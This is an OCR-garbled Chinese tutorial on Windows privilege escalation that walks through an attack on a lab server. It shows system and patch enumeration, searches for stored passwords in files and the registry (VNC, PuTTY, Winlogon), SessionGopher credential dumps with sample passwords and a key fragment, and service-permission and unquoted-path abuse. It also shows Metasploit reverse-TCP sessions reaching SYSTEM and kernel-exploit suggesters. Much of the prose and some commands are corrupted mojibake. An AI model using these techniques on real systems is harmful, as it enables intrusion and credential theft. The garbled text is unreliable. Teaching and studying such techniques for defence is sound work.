SPUEFHE A BLEZ Windows 4IRS
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SR, SERIZEFARAX

0x01 f+ A2 EHEH

HARSTIRT? PAEEEURTT? AIREEESERAARR TEXAEANR, AEERET
Windows B{ERS FEIFURTHHISIS, DIMFUEARIRE, FEBNETEIMAMRR
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gl:lo

A =25HURA
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APRRZRIFRFENSRNEONR. HERE, NAEFILERELNBEFTRENRRE
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AIEEFRUEH
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0x02 Windows I#{ERFAEE

Windows [R5 E i E

systeminfo

% 2Windows T BoR R T HHENLUCHIRIE RGBS 2

eminfo
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MRBFHENZERSHTIER, BBAXFZMSRBTRRIERBIERRX, BiITLFIA
findstr ap <t XIERH T,

findstr

findstriZWindow R4t H W 4, HLER ARG E R — DA E S (BUBEESH /VRERIAEE) KLk E
FREBIAT, IRZAT B INE BT R, BIF TN AW B I ER S 4 .

/B TE—ATHITT AR B

/C:string EAIEE TR RN TR TR 5

RSB S

systeminfo | findstr /B /C:"0S #&FR" /C:"0S fRA"

C:\inetpub\wwwroot> systeminfo | findstr /B /C:"0S &#" /C:"0S hRA"
0S %K. Microsoft Windows Server 2008 R2 Standard

0S JiRA: 6.1.7601 Service Pack 1 Build 7601

Windows RS TIER
FJFA Windows &I T B wmic 3£l Windows EFEEH+NTER

wmic gfe

wmic gqfe > patch.txt
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FREEEMS > AILUBEREHEINEF, SERNSTHNTER

« = >_ 192.168.235.100 [0 192.168.235.100

[ &$8: C:/inetpub/wwwroot/patch.txt

Bf#E Es
1 caption CSName Description FixComments HotFixID InstallDate InstalledBy Installedon Name ServicePackIneffect sStatus
2 http://support.microsoft.com/?kbid=3e42553 DC1 Security Update KB3042553 ISBASE\haadmin 9/24/2019
3 http://support.microsoft.com DC1 Update KB958488 ISBASE\haadmin 9/24/2019
4 http://support.microsoft.com/?kbid=976902 DC1 Update KB976902 ISBASE\haadmin 11/21/2010
5

(https://xzfile.aliyuncs.com/media/upload/picture/20200220152202-b07fc1f4-53b1-
1.png)

Windows IR{ERF5R
FA Windows ST E wmic 3REX Windows #{FRFZREER

wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
C:\inetpub\wwwroot> wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
OSArchitecture

64-bit
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Windows I#ERFAHRIREZS
JREN Windows 2 ERFAMNETEER, NFPRINLENTHER, FINTTLAFIBGS.
FF set SIREUER

set

c:\inetpub\wwwroot>

(https://xzfile.aliyuncs.com/media/upload/picture/20200220152219-baeb656¢-53b1-
1.png)
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FIF PowerShell 3XEUE 8

PowerShell -Command "& {Get-ChildItem Env: | ft Key,Value}"

ommand "& i em Env:

a
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Windows IR {ERFAIREIES

FIF Windows &I T B wmic 8¢ PowerShell 388X Windows EB{ERFIKEHE =R

C:\inetpub\wwwroot> wmic logicaldisk get caption || fsutil fsinfo drives
Caption

C:

D:

C:\inetpub\wwwroot> wmic logicaldisk get caption,description,providername

Caption Description ProviderName
C: Local Fixed Disk
D: CD-ROM Disc

C:\inetpub\wwwroot> PowerShell -Command "& {Get-PSDrive | where {$_.Provider -like

'"Microsoft.PowerShell.Core\FileSystem'}| ft Name,Root}"

Name Root
C C:\
D D:\

0x03 Windows I#ERFAHPER
Y3V D) Sk
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C:\inetpub\wwwroot> whoami

iis apppool\defaultapppool

RESRIAPRHRIER

whoami /priv

C: \inetpub\wwwroot> whoami /priv

(https://xzfile.aliyuncs.com/media/upload/picture/20200220152248-cbde738c-53b1-
1.png)

REFFERRER

net user
AcHh FH Pk EA= B
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TS Y DN T
C:\inetpub\wwwroot> net user

\\DC1 ] FH /i

admin Guest haadmin
haadmins krbtgt
il 2 8 76 oo

whoami /all FRECHFTHIHAERE . AEE. FRUER

tpub\wwwroot> whoami /all
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FIFE PowerShell 3k EXAAF{EE

PowerShell -Command "& {Get-LocalUser | ft Name,Enabled,LastlLogon}"
c:\windows\system32\inetsrv>PowerShell -Command "& {Get-LocalUser | ft Name,Enabled,LastLogon}"

Name Enabled LastlLogon
Administrator False
DefaultAccount False
Guest False
admin True

WDAGUtilityAccount  False

PowerShell -Command "& {Get-ChildItem C:\Users -Force | select Name}"

c:\windows\system32\inetsrv> PowerShell -Command "& {Get-ChildItem C:\Users -Force | select Name}"
Name

admin

Administrator

All Users

Classic .NET AppPool

Default

Default User

Public

Aocl+An inidi
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IRINERERER, TTRETERK

net accounts

c:\windows\system32\inetsrv> net accounts

S f6) R P FE I (8] B 2 5 2 A RIE R 2 MA

0 B A AR (R ) : 1

FE KA AR (R): 42
K R ME 7
RIFHERD G EIEREKE 24
BE BIME - WA
Bl 58 RS2 (8] (4)) : 30

Bl e I E O (5 30
THHEHA: PRIMARY
74 B T8

HftttBX18<

net user administrator
net user admin

net user %USERNAME%

REARAERER



net localgroup //FKBHLZEAH 4155

c:\windows\system32\inetsrv> n
AR =



https://xzfile.aliyuncs.com/media/upload/picture/20200220152326-e28ae246-53b1-1.png

(https://xzfile.aliyuncs.com/media/upload/picture/20200220152326-e28ae246-53b1-
1.png)

PowerShell -Command "& {Get-LocalGroup | ft Name}" //#|HPowerShell3KH{H /140158
C:\Users\13700>PowerShell -Command "& {Get-LocalGroup | ft Name}"

Name

Account Operators
Administrators
Allowed RODC Password Replication Group

Backup Operators
REBUSEANER

c:\windows\system32\inetsrv> net localgroup administrators

4 administrators

ERE B OSN3 AN 2 BRI 58 A U AR
DAl

admin

Domain Admins
Enterprise Admins

haadmin
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PowerShell -Command "& {Get-LocalGroupMember Administrators | ft Name, PrincipalSource}"

0X04 : EEIJ% i

XHAEEEES

findstr /si password *.xml *.ini *.txt *.config
fExml. ini. txt. configZ#g 0¥ &K password

C: \etpub\nnnrrcn_)t
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C:\inetpub\wwwroot> findstr /SI /M "password" *.xml *.ini *.txt
aspnet_client\system_web\2_0 50727\index.aspx.txt
aspnet_client\system_web\4_0 30319\index.aspx.txt
aspnet_client\system_web\password.txt

index.aspx.txt

Hr U fEfEpas sword P 28 i S 445

findstr /spin "password" *.*

R AT A AT BRI A S

(https://xzfile.aliyuncs.com/media/upload/picture/20200220152418-01647812-53b2-
1.png)


https://xzfile.aliyuncs.com/media/upload/picture/20200220152354-f320c440-53b1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200220152418-01647812-53b2-1.png

RS ENNHES

C:\inetpub\wwwroot> dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *,config*
C:\inetpub\wwwroot\web.config

C:\inetpub\wwwroot\aspnet_client\system_web\password.txt
C:\inetpub\wwwroot> where /R C:\inetpub\wwwroot *.ini

:\inetpub\wwwroot> where /R C:\inetpub\wwwroot *.txt
:\inetpub\wwwroot\index.aspx.txt
:\inetpub\wwwroot\patch.txt
:\inetpub\wwwroot\windows.txt
:\inetpub\wwwroot\aspnet_client\system_web\password.txt

:\inetpub\wwwroot\aspnet_client\system_web\2_0_50727\index.aspx.txt

O O 0 0 0 00N

:\inetpub\wwwroot\aspnet_client\system_web\4_0_30319\index.aspx.txt

EiERPIERER
EEMFER+IEER password

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K



reg query HKLM /t password /T KEG_SZ /s

reg query HKCU /f password /t REG_SZ /s
VNC ik
reg query "HKCU\Software\ORL\WinVNC3\Password"

Putty BESZCIEEUE

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon'

E R RFRTFRY session (52

BXTH: https://github.com/Arvanaghi/SessionGopher
(https://github.com/Arvanaghi/SessionGopher)

$XEX PUTTY, WinSCP, FileZilla, SuperPuTTY, ] RDP lULiE(SE.


https://github.com/Arvanaghi/SessionGopher

[+] Digging on DC1 ...

WinSCP Sessions

Session : admin-anthony@198.273.212.334
Hostname : 198.273.212.334
Username : admin-anthony

Password : Super*p@ssword

Session : Freddy®204.332.455.213
Hostname : 204.332.455.213
Username : Freddy

Password : angelicol892

FileZilla Sessions

Name : BarrySite
Password : imr34llytheFl@sh
Host : 10.8.30.21
User : BarryAllen

Protocol : Use FTP over TLS if available
Account : BarryAllenAccount

Port : 22



PuTTY Sessions

Session : PointOfSaleTerminal
Hostname : 10.8.0.10

PUTTY Private Key Files (.ppk)

Path : C:\Users\Brandon Arvanaghi\Documents\mykey.ppk
Protocol : ssh-rsa
Comment : rsa-key-20170116

Private Key Encryption : none
Private Key : {AAABAEazxtDz6E9mDeONOmMz07sG/nl1eS1pjKI8fOCuuLnQC58LeCTlysOmz1/iC4,
g4HyRpmdKJIGhIxj66/RQ135hVesyk@2StleepK4+Tnvz3zmdr4Do5W99qKkriWI3D,

T9GOX0IoR9Zc6j57D+fdesIq4ItEIXcQZ1IXC1F9KZcbXjSI3iBmCsbG/aRImMMINX,
nCMazkySr4R4Z/E+1130zXaHh5WQ2POK4AYM1/6XG6CAVZzDjvXwcY67MYsobTeCR2. ..}
Private MAC : b7e47819fee39a95eb374297f939c3c868f880de

Microsoft Remote Desktop (RDP) Sessions

Hostname : us.greatsite.com

Username : Domain\tester

Microsoft Remote Desktop .rdp Files

Path : C:\Users\Brandon Arvanaghi\Desktop\config\PenTestLab-Win.RDP
Hostname : dc@l.corp.hackerplaypen.com
Gateway : rdse@l.corp.hackerplaypen.com

Prompts for Credentials : No

Administrative Session : Does not connect to admin session on remote host

0x05 Windows IRSEZHUIRECE A

£ Windows R, HLRSSLA Administrator/SYSTEM RIZETT, HIRFAMEI TSGR

s A s AL b VAN T e e o YT SN E L ER R |



BCETRERHY,

AR5 TIR
BEIRIRS

A BEFETTINEET T,

for /f "tokens=2 delims='='" %a in ('wmic service list full”~|find /i "pathname"~|find /i /v

"system32

) do @echo %a >> C:/inetpub/wwwroot/service.txt

For 25 IR 55 21 3% i B S0 service . txt R

@ FEms
AntSword #iE TO B

=

>_ 192.168.235.100

[0192.168.235.100

M #&i8: C:/inetpub/wwwroot/service.txt

W0~ WU B wWN

C:\Windows\ADWS\Microsoft.ActiveDirectory.wWebServices.exe

C:\Windows\Microsoft.
C:\Windows\Microsoft.
C:\Windows\Microsoft.
C:\Windows\Microsoft.
C:\Windows\Microsoft.
C:\Windows\Microsoft.
"C:\Windows\Microsoft.NET\Frameworke4\v3.0\Windows Communication Foundation\infocard.exe"
"Ci\Windows\Microsoft.NET\Framework64\v4,o,30319\SMSvcHost.exe” -NetMsmgActivator

C:\Windows\Microsoft.
C:\Windows\Microsoft.

C:\Windows\Microsoft.

NET\Framework64\v4.0.3@319\aspnet_state.exe
NET\Framework\v2.0.50727\mscorsvw.exe
NET\Framework64\v2.0.50727\mscorsvu. exe
NET\Framework\v4.0.30319\mscorsvw.exe
NET\Framework64\v4.0.3@319\mscorsvw.exe

Net\Frameworke4\v2.8\WPF\PresentationFontCache.exe

NET\Framework64\v4.0.30319\SM5vcHosT . exe
NET\Framework64\v4.®.30319\5MSvcHost . exe

NET\Framework64\v4.0.30319\SMSvcHost .exe

C:\Windows\SysWows4\perfhost.exe

C:\net\srvany.exe

C:\Windows\servicing\TrustedInstaller.exe

"C:\Program Files (x86)\360\360Safe\deepscan\zhudongfangyu.exe"

B 775

- B ALRBITH
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icacls @ cacls {&EHBR
ENRITEMWT:
e icacls (Windows Vista +)

e cacls (Windows XP)

for /f eol”r=~"~ delims”="" %a in (C:/inetpub/wwwroot/service.txt) do cmd.exe /c icacls "%a"

[+H \inel:pub\moot) £
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FEXELUAT=MIR:
Users:(F) . A=)

Users: (M) . 1@&1}5“3

Users: (W) - {EEU'J'IEJ

BN LURIIEANRSANEI T C:\net\srvany.exe BILAREA T4z

ERHALE 1 3 B o ST
[5]

(https://xzfile.aliyuncs.com/media/upload/picture/20200220152501-1b7e74c8-53b2-
1.png)

B T HEIUG
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- vl

'rooFFFRFRFoOoRPQ

Ly L ]

B

Fh{Etools
AnyExeToService.exe
Command Prompt.Ink
MaterialDesignColors.dll
MaterialDesignThemes.Wpf.dll
SharPersist.exe
Symantec 14.0.3929.1200_x64.exe
calc.exe
desktop.ini
dotNetFx40_Full_x86_x64.exe

gametime.dl|

srvany.exe

AP

srvany.exel

w32time.dll

e —

L BT

ISy

H A
2019-11-09 16:23:59
2019-08-13 13:46:15
2019-11-20 13:46:20
2020-01-17 14:10:55
2020-01-17 14:10:55
2019-11-20 10:12:58
2019-12-26 11:17:00
2010-11-21 11:25:07
2019-11-09 12:08:32
2019-09-24 11:45:48
2019-11-09 14:37:22
2020-01-19 14:36:09
2019-03-15 13:49:24
2019-11-07 14:15:26

0b

7.65 Mb
1.41 Kb
219 kb
5.3 Mb
225.5 Kb
264.8 Mb
758 Kb
84b
48.11 Mb
62.5 Kb
7 Kb

8 Kb

5 Kb

=k
Directory
Archive
Archive
Archive
Archive
Archive
Archive
Archive

Hidden, System
Archive
Archive
Archive
Archive

Archive

(https://xzfile.aliyuncs.com/media/upload/picture/20200220152514-22fd68ee-53b2-
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SIRSERERY, /&3 shell

msf5 exploit( ) > exploit -j
Exploit running as background job 2.
Exploit completed, but no session was created.

Started reverse TCP handler on 192.168.235.133:4444
msf5 exploit( ) > Sending stage (206403 bytes) to 192.168.235.100
Meterpreter session 3 opened (192.168.235.133:4444 — 192.168.235.100:50649) at 2020-01-19 01:40:16 -0500

msf5 exploit( ) > sessions

Active sessions

Id MName Type Information Connection

1 meterpreter x64/windows IIS APPPOOL\DefaultAppPool @ DC1 192.168.235.133:4444 — 192.168.235.100:50556 (192.
168.235.100)

3 meterpreter x64/windows NT AUTHORITY\SYSTEM @ DC1 192.168.235.133: 4444 — 192.168.235.100:50649 (192.
168.235.100)

msf5 exploit( ) > sessions -1 3
Starting interaction with 3 ...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > getsid
Server SID: S5-1-5-18

meterpreter > Jj

(https://xzfile.aliyuncs.com/media/upload/picture/20200220152525-29ba97b0-53b2-
1.png)
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VAVU VVIHIUVUWD JIRZoiR1THLEATNH

£ Windows MR, EaiRSE, RRS=RERATHFUTIUHIINERAIIEHRSS. R
PTHBEES ISIFETR, REMSAEEMENLIEEIE. B2, MRNARFHEIG
FTERIREAEZEMESS, Windows NISSIREZIREINE N ERPHEFHNTE, BEE
HEAHRATIALL,

FIRE

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v

"c:\windows\\" |findstr /i /v """
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq

"Auto" -and $_.PathName -notlike "C:\Windows*" -and $_ .PathName -notlike '"*'} | select
PathName,DisplayName, Name

C:\inetpub)\ oot>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |[findstr /i /v "c:\windows\\" |
"

findstr
wmic ser get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\"
TestServer TestServer C:\Program Files\ ae1‘1ce‘hello ser

vice\srvany.exe Auto

C:\inetpub\wwwroot>[]

(https://xzfile.aliyuncs.com/media/upload/picture/20200220152539-320dc626-53b2-
1.pnQg)
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ﬂﬁ%ﬂ%& C:\Program Files\service\hello service\srvany.exe
Windows BB TR

C:\Program.exe

C:\Program Files.exe

C:\Program Files\service\hello.exe

C:\Program Files\service\hello service.exe

A icacls HERR

C:\inetpub\wwwroot>icacls "C:\Program Files\service"
icacls "C:\Program Filles\service"
C:\Program Files\service BUILTIN\Users:(0I)(CI)(F)
NT _SERVICEATrustedInstaller: (I)(F)

NT SERVICE\TrustedInstaller:(I)(CI)(IOQ)(F)
NT AUTHORITY\SYSTEM:(I)(F)

NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTINYAdministrators:(I)(F)
BUILTINA\Administrators:(I)(0I) (CI)(IO){(F)

(https://xzfile.aliyuncs.com/media/upload/picture/20200220152556-3bffac9e-53b2-
1.png)

ﬂl«‘,{?’ifm C:\Program Files\service\ Eiﬁ?ﬁ%‘]&ﬁﬁ

(115 &5 shell KRS hello.exe IEB R+, EERSEHT, shell 38
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msf5 exploit( ) > exploit -j
Exploit running as background job 3.
Exploit completed, but no session was created.

Started reverse TCP handler on 192.168.2
msf5 exploit( ) > Sending
Meterpreter session 4 opened (1 168

msf5 exploit( ) > sessions -i 4
Starting interaction with 4...

meterpreter > getuid
Server username: NT AUTHORITY\
meterpreter >

(https://xzfile.aliyuncs.com/media/upload/picture/20200220152609-43e8eaba-53b2-
1.png)

Metasploit trusted service path {giR

EHRERIR . exploit/windows/local/trusted service path

) > show options

The session to run this module on.

Payload options (windows/meterpreter/reverse_tcp):

Name etti Required Description

EXITFUNC = Exit technique (Accepted: '', seh, thread, process, none)
LHOST 35.133 ye The listen address (an interface may be specified)
LPORT 4444 ye The listen port

Exploit target:
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Id Name

] Windows

msf5 exploit(

(https://xzfile.aliyuncs.com/media/upload/picture/20200220152621-4b28daba-53b2-
1.png)

trusted_service_path #&tRiZE SESSION FEmFIA, ERERERHNE—IKER, IR
F—BERRAT B SFIAEE,

msf5 exploit( ) > exploit

Started reverse TCP handler on 192.168.235.133:4444

Finding a vulnerable service...

Placing C:\Program.exe for TestServer

Writing 15872 bytes to C:\Program.exe...

Exploit aborted due to failure: unknown: core_ channel open: Operation failed: Access is denied.
Exploit completed, but no session was created.

(https://xzfile.aliyuncs.com/media/upload/picture/20200220152633-51e0ba4e-53b2-
1.png)

0x07 MIxFIH

Windows F&1RNRIR EXP &£5:

https://github.com/SecWiki/windows-kernel-exploits
(https://github.com/SecWiki/windows-kernel-exploits)

N=Nb -]
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IRIN7YaR

Security -
. RERSR
Bulletin
https://portal.msrc.microsoft.com/en-
CVE US/security-guidance/advisory/CVE-
2019-0803 :
2019- . Windows 7/8/10/2008/2012/2016/2019
0803 (https://portal.msrc.microsoft.com/en-
US/security-guidance/advisory/CVE-
2019-0803)
https://portal.msrc.microsoft.com/en-
CVE US/security-guidance/advisory/CVE-
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Windows Server 2016 for x64-based Systems 4013429

Windows Server 2008 for 32-bit Systems Service Pack F012497
Windows Server 2008 for x64-based Systems Service P4012497
Windows Server 2008 R2 for x64-based Systems Servic4012212
Windows Server 2012 (Server Core instalation) 012214
Windows Server 2012 R2 (Server Core instalaton) 4012213
Windows Server 2016 for x64-based Systems (Server (4013429

Windows 10 Version 1511 for 32-bit Systems %013198
Windows Server 2008 for Ttanium-based Systems Servi(4012497
Windows 7 for 32-bit Systems Service Pack 1 G012212

Windows 7 for x64-based Systems Service Pack 1 012212
Windows Server 2008 R2 for x64-based Systems Servic4012212
Windows Server 2008 R2 for Itanium-based Systems $4012212

Windows 8.1 for 32-bit Systems 7012213
Windows 8.1 for x64-based Systems 4012213
Windows Server 2012 7012214
Windows Server 2012 R2 012213
Windows RT 8.1 %4012216
Windows 10 for 32-bit Systems "4012606
Windows 10 for x64-based Systems "1012606
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BSEEAIFIA systeminfo ep S EIRRAERHLE] txt 3X4H
systeminfo > wininfo.txt

TEEIEAIA, FREAGE

python windows-exploit-suggester.py --database 2020-02-17-mssb.x1ls --systeminfo windows.txt

|
HE(F) HRIB(E) ER(0) BE(V) EEIH)
[*] initiating winsploit version 3.3...
[*] database file detected as xIs or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (GB2312)
[*] querying database file for potential vulnerabilities
[*] comparing the 3 hotfix(es) against the 407 potential bulletins(s) with a database of 137 known exploits
[*] there are now 406 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit madule, [*] missing bulletin
[+] windows version identified as "Windows 2008 R2 SP1 64-bit'
1
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*] https://www.exploit-db.com/exploits/40745/ —— Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
[*] https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr'
Privilege Escalation (MS16-135) (2)
[*] https://github.com/tinysec/public/tree/master/CVE-2016-7255
1
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*] https://www.exploit-db.com/exploits/41020/ - Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
1
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important
[*1 https://aithub.com/foxalovesec/RottenPotato
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H path

script\ElevateKit\elevate cna
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modules
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- README.ixt
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Aftempt to execute a listener in an elevated context.

Listener: IEIHE‘T 2 Add

Exploit:  |ms14-058 -
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uac-dll
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Metasploit

run post/windows/gather/enum_patches #ZZ&# 7 155
background

search MS10-015

use exploit/windows/local/ms10_ 015 kitraped

set session 1

run

erpreter > run post/windows/gather/enum patches

KB2871997 is missing
KB2928120 is missing
hBQ??lﬁ: - Possibly vulnerable to MS10-815 kitrap@d if Windows 2K SP4 - Windows 7 (x86)

Possibly vulnerable M516 5C vator if Vista, 7, and 2

Possibly e 15 afdjoinleaf if XP SP2/SP3 Win

Possibly vulnu able M5 hwnd_broadcast, elevates from Low to Medium integrity
Possibly vulnerable 15 3 s:hlampurul if x86 Win7 SPO/SP1

Possibly vulnerable M513-081 track_popup_menu if x86 Windows 7 SPO/SP1
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##

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapidi/metasploit-Fframework
##

require  'ms f/core/post/'common
T S S S
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requlre 'MSI/COre/posSt/W1lNaowsy/sextapl
class MetasploitModule < Msf::Post
include Msf::Post::Common

include Msf::Post::Windows: :EXtAFPI

MSF_MODULES = {

"KB977165" - -=> -"KB977165 - Possibly-vulnerable to MS10-015 kitrap0d -if Windows 2K -SP4 - Windows 7  (x86)",
"KB2305420" -=> -"KB2305420 - -Possibly vulnerable to MS10-092 schelevator if-Vista, -7, -and 2008",

'KEB2592799" -=> "KB2592799 - -Possibly -vulnerable to MS11-080 afdjoinleaf if -XP SP2/SP3 Win 2k3 SP2",

"KB2778%30" => "KB27789%30 - Possibly vulnerable to MS13-005 hwnd broadcast, elevates from Low to Medium integrity”,
"EB2850851" => "KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SPO/sSPL1",

"KB2870008" -=> "KB28700058 - Possibly vulnerable to MS13-081 track popup_menu if x86€ Windows 7 SPO/SPL™

def initialize (info={1})
super (update_info(info,

"Name ' => "Windows Gather Applied Patches",

"Description' == %qg{
This module will attempt to enumerate which patches are applied to a-windows system
based on the result of the WMI query: SELECT HotFixID FROM Win32_QuickFixEngineering

1,
"License” => MSF_LICENSE,
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